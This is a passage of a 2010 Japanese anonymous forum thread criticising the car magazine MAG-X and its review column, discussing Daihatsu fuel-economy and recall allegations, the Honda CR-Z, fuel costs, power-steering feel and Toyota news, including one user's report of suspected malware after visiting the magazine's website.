870 :名無しさん@そうだドライブへ行こう:2010/05/18(火) 12:57:33 ID:CDN1sWRo0
信頼される本になるチャンスは2回あった

前回は「三菱のリコール隠し問題」だった、追及は編集長の交代で情けないウヤムヤ状態になった
そして今回「ダイハツ燃費査証疑惑」
今からでも追求すれば信頼される本になるチャンスはある

編集長の本当の総括精神が問われる

871 :名無しさん@そうだドライブへ行こう:2010/05/18(火) 13:27:52 ID:KOUNYVXK0
無理

872 :名無しさん@そうだドライブへ行こう:2010/05/19(水) 01:20:52 ID:0Jj4LZA30
燃費詐称疑惑を追及せよ

873 :名無しさん@そうだドライブへ行こう:2010/05/20(木) 11:02:51 ID:tBj77Stt0
【自動車】トヨタが「パッソ」自主改修へ 低速発進時エンスト恐れ[10/05/20]
http://anchorage.2ch.net/test/read.cgi/bizplus/1274317129/

874 :名無しさん@そうだドライブへ行こう:2010/05/20(木) 23:59:02 ID:jDgt4upQ0
再三のウイルスまきちらし疑惑を追及せよ
もっとも
金払っている会員なんて皆無だから黙殺でもOK?

875 :名無しさん@そうだドライブへ行こう:2010/05/23(日) 02:09:52 ID:539tGStS0
ブラック企業の社名を書いていくスレ 5
http://changi.2ch.net/test/read.cgi/job/1272800454/55

55 名前:名無しさん@引く手あまた[sage] 投稿日:2010/05/22(土) 22:39:30 ID:e6YnqRTn0
企業とは呼べない低レベル集団 もろブラック
http://namidame.2ch.net/test/read.cgi/car/1257733373/l50

876 :名無しさん@そうだドライブへ行こう:2010/05/23(日) 16:42:27 ID:uB3P8goj0
>>855
些細なアドバンテージだろ

なにしろ、中国が全世界の97%の埋蔵量を有するレアアースを使えないとモータが作れないんだからね
将来敵には、製造も販売も中国共産党の許しがないとできなくなる

877 :名無しさん@そうだドライブへ行こう:2010/05/23(日) 17:11:45 ID:W3/pTzek0
日本以外でも海水から取り出そうと躍起になってるけどね

878 :名無しさん@そうだドライブへ行こう:2010/05/26(水) 11:40:14 ID:5AvgwrOn0

燃費詐称疑惑を総括せよ

879 :名無しさん@そうだドライブへ行こう:2010/05/26(水) 18:17:12 ID:LUqzC8Me0
CR-Z星2つか

880 :名無しさん@そうだドライブへ行こう:2010/05/26(水) 18:48:05 ID:UngImtep0
>>879
内容はどうだった?

CR-Zは所詮フィットベースだからなあ・・・
あれでオプション付けた豪華仕様は車両価格300万円とかw
車の出来以前に買う気がおきないわw

ちなみにポロTSIとCR-Zでは速さも燃費も変わらない




881 :名無しさん@そうだドライブへ行こう:2010/05/26(水) 22:41:26 ID:XDyK5wKH0
>>880
燃料は違うだろ。

882 :名無しさん@そうだドライブへ行こう:2010/05/26(水) 23:34:49 ID:Zy6xMs1o0
>>881
?

883 :名無しさん@そうだドライブへ行こう:2010/05/27(木) 06:36:12 ID:+kDxH3bZ0
>>880
光岡の車のような感じで受け止めれば買えるんじゃない?
オレはそうは受け止められないし光岡の車も買わないけど。


884 :名無しさん@そうだドライブへ行こう:2010/05/27(木) 10:00:20 ID:kln6dHjF0
なるほど・・・・・300万円のフィットの整形版か


確かにいらんな

885 :名無しさん@そうだドライブへ行こう:2010/05/27(木) 12:53:16 ID:ujarQFwR0
αにサイドエアバックを付けると自動的に本皮シートも抱き合わせになり
インターナビも付けると確かに300万だ。サイドエアバックは標準にして
250万内で出せば良かったのに。出来は良いと思うけどなぁ。

886 :名無しさん@そうだドライブへ行こう:2010/05/27(木) 14:15:27 ID:vuor9/kF0
>>882
CR-Z 使用燃料    無鉛レギュラーガソリン(全国平均137.1円)
ポロTSI 使用燃料   無鉛プレミアムガソリン(全国平均147.7円)

評論家はレギュラー・ハイオクについてまず触れること無いから
結構知らない人多いんだよな。

まぁもし日本の大衆車、カローラやFit等がハイオク仕様になったら
アホほど叩くだろうから、わざと黙ってるんだろうけど。

887 :名無しさん@そうだドライブへ行こう:2010/05/27(木) 14:22:36 ID:1BCD5OgP0
年間1万kmを10km/Lで走ったとして1,000L
10円/Lの差だから年間1万円程度の差でしかない
なぜそんなにハイオクとレギュラーの違いにこだわるのか理解できないよ
年間1万円の差なんて車を所有する上では誤差みたいなもんだろ

888 :名無しさん@そうだドライブへ行こう:2010/05/27(木) 14:32:03 ID:vuor9/kF0
>>887
そんなの燃費自体に言えることだろ。
年間1万kmを20km/Lで走って500L レギュラー:6万7500円 ハイオク:7万2500円
年間1万kmを18km/Lで走って556L レギュラー:7万5000円 ハイオク:8万000円
年間1万kmを10km/Lで走って1000L レギュラー:13万5000円 ハイオク:14万5000円

20km/Lのレギュラーも10km/Lのハイオクも8万円も変わらない。

889 :名無しさん@そうだドライブへ行こう:2010/05/27(木) 14:36:55 ID:7plt9Ofg0
>>883
ミツオカの車は居住性を犠牲にしていない。

890 :名無しさん@そうだドライブへ行こう:2010/05/27(木) 17:00:20 ID:9xnGQu2G0
むしろなんでわざわざレギュラーとハイオクを分ける必要があるんだ。
全車ハイオクにすれば燃料の販売コストも下がるし、エンジンは高効率になって燃費もよく出来るだろうに。


891 :名無しさん@そうだドライブへ行こう:2010/05/27(木) 17:07:18 ID:7plt9Ofg0
>>890
石油業界の福利厚生。レギュラーの値段でハイオクが買える。

ハイオクの原価が安いのに高く売れる。

外国車がハイオク指定なので非関税障壁。

この3つ以外にありますか?

892 :名無しさん@そうだドライブへ行こう:2010/05/27(木) 20:23:00 ID:m5wOTbZl0
CR−Zはやっぱり2つだったか。
試乗したけど、パワステの感触がまんまフィットだったもんな・・・・
でも、デザインはもう少し評価してあげてもいいと思う。

893 :名無しさん@そうだドライブへ行こう:2010/05/27(木) 21:00:52 ID:QlyPz7oH0
>>888
燃費は環境問題直結だから
それに1万と8万では8倍だぞ
保険代が賄えそうな額になる

894 :名無しさん@そうだドライブへ行こう:2010/05/27(木) 21:37:35 ID:kln6dHjF0
>>888
年間1万円と8万円の差は大きすぎるだろw
例えになっていない

895 :名無しさん@そうだドライブへ行こう:2010/05/27(木) 21:48:31 ID:GPaRTC6/0
5年で40万なら車両価格の差から見たらどうでも良い額になるケースは多々ありそうだが。
10km/L超えてたら燃料費なんて10万kmでも140万くらい、15km/L超えたら90万以下。
EVでも乗らない限りそれ以上燃費良くても劇的に安くならん。
そんな些末な話より車の個性や車体価格の方が大事だな。
つーことでこの議論は終わり。

896 :名無しさん@そうだドライブへ行こう:2010/05/27(木) 22:26:12 ID:+2h0SfC/0
RVRは?

897 :名無しさん@そうだドライブへ行こう:2010/05/27(木) 22:27:26 ID:pkT5yYGm0
>>896
★★★

898 :名無しさん@そうだドライブへ行こう:2010/05/27(木) 22:29:15 ID:cOtqbhfA0
>894
それが高いと感じるか大したこと無いと感じるかが
車種選択のポイントにもなるってこったね

899 :名無しさん@そうだドライブへ行こう:2010/05/28(金) 20:41:32 ID:H75+xIkK0
CR-Zが酷評されてれるけど乗ったら楽しかったけどな。そこは見解の相違って
やつかな。あと総括メンバーだけではなく、他の自動車評論家にも言えるが
評価軸に経年劣化という視点を加えて見てる人はあんまりいないね。
試乗した段階で内装のたてつけの具合や音を聴いて、平均的な使い方をした場
合、そのクルマが持ちが良いか悪いか分かると思うが。その点はCR-Zはシッカリ
作られてたと思う。過去に誉められてたデュアリスとか乗り味が安っぽく感じたし
おろしたての試乗車の段階で内装がペキパキギシアン鳴ってたし良い印象は無かった
けどなぁ。

900 :名無しさん@そうだドライブへ行こう:2010/05/28(金) 22:35:45 ID:ES2WRASs0
経年劣化する前で★★なんでしょ?

901 :名無しさん@そうだドライブへ行こう:2010/05/29(土) 00:16:51 ID:1hWmrtRG0
日産車の経年劣化は異常だからな。ホンダはボディが弱いとか言われるけど今はそんなことは全くないな。

902 :名無しさん@そうだドライブへ行こう:2010/05/29(土) 01:28:48 ID:hblqTpsR0
へー
10年位前知人のアコードが一年で真っ直ぐ走れないほどよれよれになってた。
それみてホンダは眼中になくなってたんだが。



903 :名無しさん@そうだドライブへ行こう:2010/05/29(土) 01:35:15 ID:oD3ATIzQ0
>>902
十年前のアコードでそれは異常。

904 :名無しさん@そうだドライブへ行こう:2010/05/29(土) 10:41:35 ID:bcPTIWbJ0
>>847
トヨタ車というだけで全否定のこのコーナーにおいて、満場一致でその年のベストバイになっていたほどw
ノーマルエスティマはいつものように叩きまくり。

905 :名無しさん@そうだドライブへ行こう:2010/05/29(土) 15:16:39 ID:tNZcGCvI0
ドキュテマなんて買うヤツ自体アホw

906 :名無しさん@そうだドライブへ行こう:2010/06/03(木) 18:12:42 ID:C+n5Sh4L0
マグペケ買うヤツもなw

907 :名無しさん@そうだドライブへ行こう:2010/06/03(木) 23:59:42 ID:zer/Kwlj0
新装刊してもムダだったなw まったく売れてないw

908 :名無しさん@そうだドライブへ行こう:2010/06/04(金) 00:44:40 ID:SSjtvFVsP
>>906
4日遅れのレスがそれかw

909 :名無しさん@そうだドライブへ行こう:2010/06/04(金) 09:53:50 ID:TFRCEPsM0
ドキュテマw ワロタw

910 :名無しさん@そうだドライブへ行こう:2010/06/07(月) 10:42:24 ID:3H2ic0XMO
カラーページと総括ではCR-Zに対する評価が正反対だな。
一方で持ち上げて一方でこきおろす。
両論併記なのかただのダブルスタンダードなのか。

911 :名無しさん@そうだドライブへ行こう:2010/06/07(月) 12:47:32 ID:ncZUuLka0
>>910
ベストカーではボロカスだったから総括が正解だと思う

912 :名無しさん@そうだドライブへ行こう:2010/06/07(月) 13:07:36 ID:5MHZ+Wh10
つか昔っからのあの雑誌のデフォでしょ

913 :名無しさん@そうだドライブへ行こう:2010/06/07(月) 16:51:27 ID:SFOLdrep0
RVRの電動パワステのどこがどう悪いのか分かりませんが。

914 :名無しさん@そうだドライブへ行こう:2010/06/08(火) 18:33:21 ID:t/yL3QCX0
電動パワステ自体駄目なんじゃね?

915 :名無しさん@そうだドライブへ行こう:2010/06/08(火) 23:52:44 ID:37aFtUEN0
ダイハツ
ttp://www.geocities.jp/keyword_link/auto/daihatsu.html

ダイハツ工業株式会社(ダイハツこうぎょう, Daihatsu Motor Co., Ltd.)は、日本の自動車メーカーの一つである。
本社は大阪府池田市。
ブランド名、社名の由来は、地名と前社名の「大阪」「発動機製造」の頭文字を組み合わせた「大発」から。


<中略>

沿革

1907年、大阪市で「發動機製造株式會社」を創立。
1930年に三輪自動車を発売する。
1951年、現社名の「ダイハツ工業株式会社」へ改称した。
1967年、トヨタ自動車と業務提携。
1998年、トヨタ自動車がダイハツ工業株の過半数を取得し同社の連結子会社となる。
1999年、リコール隠しが発覚。運輸省より改善措置勧告書が出された。
2007年、3月1日に創業100周年を迎えたのを機にコーポレーションスローガンを「Innovation For Tomorrow」に変更。

916 :名無しさん@そうだドライブへ行こう:2010/06/10(木) 23:58:23 ID:u7efpTk80
>>914
「電動パワステ」「マルチリンクサス」「CVT」
このあたりは総括で毎度のごとくけなされるからな

917 :名無しさん@そうだドライブへ行こう:2010/06/11(金) 05:00:42 ID:RmjVh4L60
でも、ゴルフは電動パワステ、マルチリンクサスなのにべた褒めだった。
変なバイアスかかってるよね、やっぱり。

918 :名無しさん@そうだドライブへ行こう:2010/06/11(金) 10:49:55 ID:/fIwtKT60
ダイハツ大リコール祭り

919 :名無しさん@そうだドライブへ行こう:2010/06/11(金) 10:50:38 ID:/fIwtKT60
キーワード【 自動車 トヨタ VW ダイハツ VW 総括 リコール 】

920 :名無しさん@そうだドライブへ行こう:2010/06/11(金) 12:42:01 ID:G90K0FY4O
ダイハツの大量リコールにかんする見出しの予想
『ダイハツの「トヨタ病」が悪化した?』

921 :名無しさん@そうだドライブへ行こう:2010/06/11(金) 17:43:24 ID:uPnT9eMM0
電動パワステとマルチリンクサスがダメと言っているわけじゃないだろ。
出来が悪いのが多いだけ。
国産では過去最高の評価だった、32GT-Rはマルチリンクじゃなかったけ?

922 :名無しさん@そうだドライブへ行こう:2010/06/11(金) 20:55:46 ID:wmHmFD5B0
パワステの電動と油圧、操作して区別付く奴居る?

923 :名無しさん@そうだドライブへ行こう:2010/06/11(金) 22:23:34 ID:TlCxigrP0
>>922
解りにくいのも出てきたけれど、まだ区別つくよ。

924 :名無しさん@そうだドライブへ行こう:2010/06/11(金) 22:43:10 ID:wmHmFD5B0
>>923
見分けるコツなんてあるの?

925 :名無しさん@そうだドライブへ行こう:2010/06/11(金) 23:31:50 ID:Q46/tW0P0
大量リコールに関する見出しの予想
『口蹄疫(こうていえき)が拡大している。埋却作業を急げ』

926 :名無しさん@そうだドライブへ行こう:2010/06/11(金) 23:53:09 ID:TlCxigrP0
>>924
コツも何も、アシストのかかり方がかなり違う。特に廉価版はハッキリ解るよ。油圧だと、
中立位置から、いわゆる遊びの部分を超えてステアリング切っていく時に、タイヤが捻れる
手応え以外、そんなに変化は無いけれど、電動は極端に言うと、中立から遊びの部分は
重ステで、硬いゴムを捻ってる様な感じ。そこからアシスト掛かってくると急に軽くなるから、
感覚的に言うと、ステアリングが勝手に持って行かれる様な感じになる。だから慣れるまでは
若干切り過ぎちゃう。で、そこから切り返そうとすると、また一瞬重くなってからアシストが
掛かるから、ワンテンポ遅れる感じ。何というか、轍にタイヤをとられた感覚に近いよ。

927 :名無しさん@そうだドライブへ行こう:2010/06/12(土) 01:19:45 ID:IBWOU/GQ0
キーワード【 リコール トヨタ 総括 VW ダイハツ 自動車 スズキ 】

928 :名無しさん@そうだドライブへ行こう:2010/06/12(土) 02:09:02 ID:yzP+3ypB0
>>924
意地悪なことをすると小刻みにステアリング左右に素早く小さく切るだけでわかるよ。

電動だとどうしても左右のアシストの切り替わりでモーターの慣性が働くからタイムラグが出る。
それでもつじつまを合わせるためにタイミングを煮詰めてるんだけどタイヤ・ホイールが変わると
純正チューニングの範囲を超えちゃうから違和感が増大する傾向にある。

929 :名無しさん@そうだドライブへ行こう:2010/06/12(土) 04:51:23 ID:9P1B831O0
>>904
>トヨタ車というだけで全否定のこのコーナー

言葉だけはな。
星の数はなんだかんだで多めにつけてるよ、トヨタ車には。
新型プリウスのときなんかひどかった。

逆にマツダやその他には、「このメーカーならもっとできるはずだから1個減らす」
とかわけのわからん理屈で星の数を減らしているのがいつものやり方だな。

930 :名無しさん@そうだドライブへ行こう:2010/06/12(土) 05:33:23 ID:QquOvpRy0
マークXの総括なんか酷かったけどな

下請け良く頑張った
おしまい

という感じだったw

931 :名無しさん@そうだドライブへ行こう:2010/06/12(土) 13:41:42 ID:H8FNF9hr0
>>930
マークXって確かページ数少なかったから
半分近くがトヨタの体制の批判で
一体なんの総括なのか読んでてよくわからんかった

932 :名無しさん@そうだドライブへ行こう:2010/06/12(土) 14:39:39 ID:8jUWxDww0
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ちなみにホンダバイクスって雑誌はとっくの昔に廃刊だw


933 :名無しさん@そうだドライブへ行こう:2010/06/12(土) 20:41:57 ID:n+lDJVAK0
トヨタMARK X 改め トヨタMAG-X

934 :名無しさん@そうだドライブへ行こう:2010/06/13(日) 11:56:28 ID:dCeWRpJ7O
ダンパーやステアリングは「メーカーが口出しするから云々」
かといって任せきりだと「丸投げだ!」

いったいどうしろと?

935 :名無しさん@そうだドライブへ行こう:2010/06/13(日) 12:02:47 ID:XW8zoV1h0
>>934
プジョーみたいに内製

936 :名無しさん@そうだドライブへ行こう:2010/06/13(日) 16:40:28 ID:R8FtEw2E0
評論もメーカー内製

937 :名無しさん@そうだドライブへ行こう:2010/06/13(日) 16:51:49 ID:wDXAYCYG0
そもそも、フリーランスのライターに執筆依頼する出版社も丸投げ。

938 :名無しさん@そうだドライブへ行こう:2010/06/13(日) 17:03:23 ID:hwZWh+tw0
大体、内製したらしたで「餅は餅屋、専業メーカーには敵わない」とか
言われちゃうのがオチw

939 :名無しさん@そうだドライブへ行こう:2010/06/13(日) 22:45:55 ID:qtC/2ESU0
この際、箱バンセッティングで。
プロボックスの時みたいにタフでスポーティと評価される鴨。

940 :名無しさん@そうだドライブへ行こう:2010/06/14(月) 11:02:44 ID:L8tqVAcG0
保守

941 :名無しさん@そうだドライブへ行こう:2010/06/16(水) 09:50:44 ID:nAQYm7ga0
キーワード【 リコール 自動車 ダイハツ トヨタ VW 総括 スズキ 】

942 :名無しさん@そうだドライブへ行こう:2010/06/17(木) 11:06:50 ID:NYpo5J5KO
自動車雑誌の廃刊が相次ぎ
月2回発行だったドライバーは月刊になるし。

この雑誌は大丈夫なのか?

943 :名無しさん@そうだドライブへ行こう:2010/06/17(木) 12:59:32 ID:sOpvBNE30
>>942
隔月刊だとコンビニや病院の売店とかに置いてもらえなくなるから何が何でも月刊だろ

944 :名無しさん@そうだドライブへ行こう:2010/06/18(金) 15:28:20 ID:pWFkqhoXO
>>942−943
そして今以上に内容が薄くなり反比例して値段は上がりそう。

945 :名無しさん@そうだドライブへ行こう:2010/06/18(金) 23:37:17 ID:9Cag6RBY0
季刊誌で十分

946 :名無しさん@そうだドライブへ行こう:2010/06/19(土) 17:17:55 ID:A3YaakSN0
【自動車】トヨタ、中国工場で操業停止 系列部品メーカーのストが原因[10/06/18]
http://anchorage.2ch.net/test/read.cgi/bizplus/1276875788/

947 :名無しさん@そうだドライブへ行こう:2010/06/23(水) 10:58:09 ID:8y9Tyr9m0
ホットストック:トヨタ<7203.T>続落、部品メーカーのストで中国工場22日から生産を停止
http://jp.reuters.com/article/stocksNews/idJPnTK040375120100623

 [東京 23日 ロイター] 
トヨタ自動車(7203.T: 株価, ニュース, レポート)が続落。地合いの悪さに加えて、同社が22日、系列の部品会社デンソーの
中国工場におけるストライキの影響で、同日朝から中国の組み立て工場で生産が停止していることを明らかにしたことも嫌気されている。

 生産停止に追い込まれたトヨタの工場は年間生産能力36万台で、「カムリ」や「ヤリス」を生産している。
トヨタのスポークスマンは「いつ生産が再開できるか、決まっていない」と述べた。

948 :名無しさん@そうだドライブへ行こう:2010/06/23(水) 11:03:17 ID:4yBMy6it0
MFIにあったZFの横置きFF用トランスミッションってなんだろ?

普通のATとは違うって書いてあったけど。

949 :名無しさん@そうだドライブへ行こう:2010/06/24(木) 22:06:36 ID:RReqbLz40
>>948
MFIは読んでないけど、アントノフTMっぽいな。
15,6年前のCGテクニカルレポートで読んだ記憶がある。

950 :名無しさん@そうだドライブへ行こう:2010/06/24(木) 23:37:09 ID:St7haszY0
保守

951 :名無しさん@そうだドライブへ行こう:2010/06/24(木) 23:43:05 ID:szdaM07h0
>949
検索したら自動車工学が出たわw

マツダのスカイドライブも従来のATとは違うとか言ってるけど、ZFのアレと関係あったら面白いね。

952 :名無しさん@そうだドライブへ行こう:2010/06/25(金) 00:05:22 ID:i4nuMurk0
【ドイツ】トヨタのテストドライバー・成瀬弘さんが事故死 「レクサスLFA」の試験走行中に-ニュルブルクリンク近くの公道
http://tsushima.2ch.net/test/read.cgi/newsplus/1277383417/

953 :名無しさん@そうだドライブへ行こう:2010/06/25(金) 00:21:11 ID:PNB09vCaP
成瀬さん・・・・お亡くなりになったか

http://www.rhein-zeitung.de/cms_media/module_img/210/105394_1_popup_Kopie_von_IMG_6763.JPG
http://www.rhein-zeitung.de/cms_media/module_img/210/105401_1_popup_Kopie_von_IMG_6780.JPG

この画像見る限り、LF-AがBMWの衝撃を吸収する形になってしまっているな・・・
スピードの出し過ぎで、対向車線からはみ出してきたBMWを避けきれなかったんだろうか・・・

ご冥福をお祈りします


954 :名無しさん@そうだドライブへ行こう:2010/06/25(金) 01:46:32 ID:C8lpjomO0
アントノフトランスミッションを調べたら、トヨタを訴えてるな(笑)。

ttp://conductorsclub.blog.ocn.ne.jp/epatentmap/2005/09/post_b390.html

確か却下されたはずだけど。


955 :名無しさん@そうだドライブへ行こう:2010/06/25(金) 09:02:11 ID:g4xyXP9T0
レクサス

956 :名無しさん@そうだドライブへ行こう:2010/06/25(金) 09:43:41 ID:vRn6I4CxO
対向車線に出たのはレクサス

957 :名無しさん@そうだドライブへ行こう:2010/06/25(金) 11:23:07 ID:GM4xZpLI0
【ドイツ】トヨタのテストドライバー・成瀬弘さんが事故死 「レクサスLFA」の試験走行中に-ニュルブルクリンク近くの公道★3
http://tsushima.2ch.net/test/read.cgi/newsplus/1277432392/l50

958 :名無しさん@そうだドライブへ行こう:2010/06/25(金) 12:53:38 ID:voG7V2sQ0
今週の車当てクイズ
http://www.blogcdn.com/www.autoblog.com/media/2010/06/p1010005.jpg
http://www.blogcdn.com/www.autoblog.com/media/2010/06/p1010004.jpg
http://www.blogcdn.com/www.autoblog.com/media/2010/06/p1010006.jpg

959 :名無しさん@そうだドライブへ行こう:2010/06/27(日) 21:44:25 ID:jW7oA1I30
ざ・総括
ジャガーXJ ★★★
ルノー・カングー ★★★★

輸入車だけの総括は久しぶりかな。
それにしても今号の裏表紙で違う本かと思ってしまった。

960 :名無しさん@そうだドライブへ行こう:2010/06/28(月) 11:34:52 ID:CosZ8L5K0
こんな誰も買わない車やるくらいならマイナー後のチェックでもやってみればいいのに

961 :名無しさん@そうだドライブへ行こう:2010/06/28(月) 12:51:28 ID:VazPMAtf0
総括&パージ 【purge】

962 :名無しさん@そうだドライブへ行こう:2010/06/28(月) 21:31:51 ID:i+hofVQCP
>>960
みんなが買ってる車だと乗らずにデタラメ書いてるのがばれるからな。

963 :名無しさん@そうだドライブへ行こう:2010/06/28(月) 23:12:24 ID:0iQtck/+0
久々に買ったけど政治・経済記事の論調が随分と変貌してるなあ
どうしたんだろ

964 :名無しさん@そうだドライブへ行こう:2010/06/29(火) 12:00:23 ID:1WE0hpk50
偏向政治ネタはパージ(purge)されました

965 :名無しさん@そうだドライブへ行こう:2010/07/01(木) 06:24:32 ID:HTpo9bmVP
先週末だったかな?
MAG-Xのサイトにアクセスしたら、いきなりJAVAが立ち上がって、
デスクトップに、hs_err_pid4008.logみたいなファイルが出来て、
それ以来、SVCHOSTがCPU使用率100%になってるんだけど、
ただの偶然?
そのsvchostを強制終了しようとすると、windowsが60秒以内に堕ちる。
セキュリティはMSのSEURITY ESSENTIALSだけ。
なんか気味悪いな。

966 :名無しさん@そうだドライブへ行こう:2010/07/01(木) 06:40:21 ID:1PVRVPaE0
java更新してセキュリティホール閉じとけよ

967 :名無しさん@そうだドライブへ行こう:2010/07/01(木) 10:54:47 ID:aBEtb71o0
MAG-Xこうてい疫ことスパイウェアが・・

968 :名無しさん@そうだドライブへ行こう:2010/07/01(木) 12:27:21 ID:5YDPXMpm0
【自動車】トヨタ、レクサス最上級車種「LS460」をリコールへ 走行中にエンジンが停止する不具合[10/07 /01]
http://anchorage.2ch.net/test/read.cgi/bizplus/1277951161/

969 :名無しさん@そうだドライブへ行こう:2010/07/02(金) 11:42:32 ID:wInEubVi0
【自動車】トヨタ、東南アジア向け小型車 ダイハツ開発[10/07/02]
http://anchorage.2ch.net/test/read.cgi/bizplus/1278036939/

970 :名無しさん@そうだドライブへ行こう:2010/07/03(土) 15:20:20 ID:l0XhKS3B0
キザシのデザインが褒められてたけど、あの車って総括されたっけ?

971 :名無しさん@そうだドライブへ行こう:2010/07/03(土) 18:22:05 ID:gbt7s+r60
更に目立たない、センスのよろしくない表紙

972 :名無しさん@そうだドライブへ行こう:2010/07/03(土) 18:22:45 ID:gbt7s+r60
本の内容


973 :名無しさん@そうだドライブへ行こう:2010/07/04(日) 22:27:33 ID:lUNzX7Om0
今月号もまったく売れていないw

雑誌作りの基本も判っていない輩が、
惰性で作っているって感じで
泥沼 末期症状



974 :名無しさん@そうだドライブへ行こう:2010/07/04(日) 22:41:57 ID:o9GbUd1f0
>>973
俺の行動範囲でも売れていない。
季刊になったら買ってもいいと思う。
俺はベストカーとディズニーファン(月刊)を読んでいる。
先月からオートサウンド(季刊)を読み始めた。

975 :名無しさん@そうだドライブへ行こう:2010/07/05(月) 00:28:38 ID:RFdS92/B0
479 :名無しさん@そうだドライブへ行こう:2010/07 /04(日) 08:24:55 ID:+G7NR7GT0
>477
そういえば2000GTの時は設計も車体設計もヤマハが担当して
最初のデザインと販売担当をトヨタがやったんだけど
今回のLFAは車体設計はダイハツ エンジンはヤマハの担当で
設計し取りまとめる能力は最初からないんだよね

976 :名無しさん@そうだドライブへ行こう:2010/07/05(月) 10:56:50 ID:l7reN1IeP
>>974
どんな雑誌を買うのも自由だとは思うんだけど、ね。
ベストカーを読んでる人って何を楽しみにして買ってるの?

977 :974:2010/07/05(月) 12:40:38 ID:58yKYJkl0
>>976
26日号の登録台数だけ。
読み始めて28年目だから惰性。

978 :974:2010/07/05(月) 19:32:22 ID:58yKYJkl0
>>973
1冊売れてた。

979 :名無しさん@そうだドライブへ行こう:2010/07/06(火) 00:14:45 ID:/eojV/rQ0
スクープ
★☆☆☆☆

提灯持ち
★★★★★

980 :名無しさん@そうだドライブへ行こう:2010/07/08(木) 23:17:10 ID:QFJbTERP0
内輪ウケ ★☆☆☆☆
 記者クラブのネタとか
だらだら載せているけど、そんな話誰も関心ないぜ
単なる相手にされていない三流自動車雑誌のねたみ、ヒガミだろ
 そのくせ
「××大臣の記者会見に参加しました」だとか
ブログに写真載せてはしゃいで
提灯持ち ★★★★★

981 :名無しさん@そうだ選挙に行こう:2010/07/10(土) 18:01:10 ID:Jh6J3uOv0
追求せよ

〜 BSAへの通報を端緒とする和解としては世界最高額の3億1千5百万円 〜
http://namidame.2ch.net/test/read.cgi/kcar/1248522489/595

982 :974:2010/07/10(土) 22:09:16 ID:d14ZGL/f0
>>974
オートサウンド読むの挫折しました。もう買いません。

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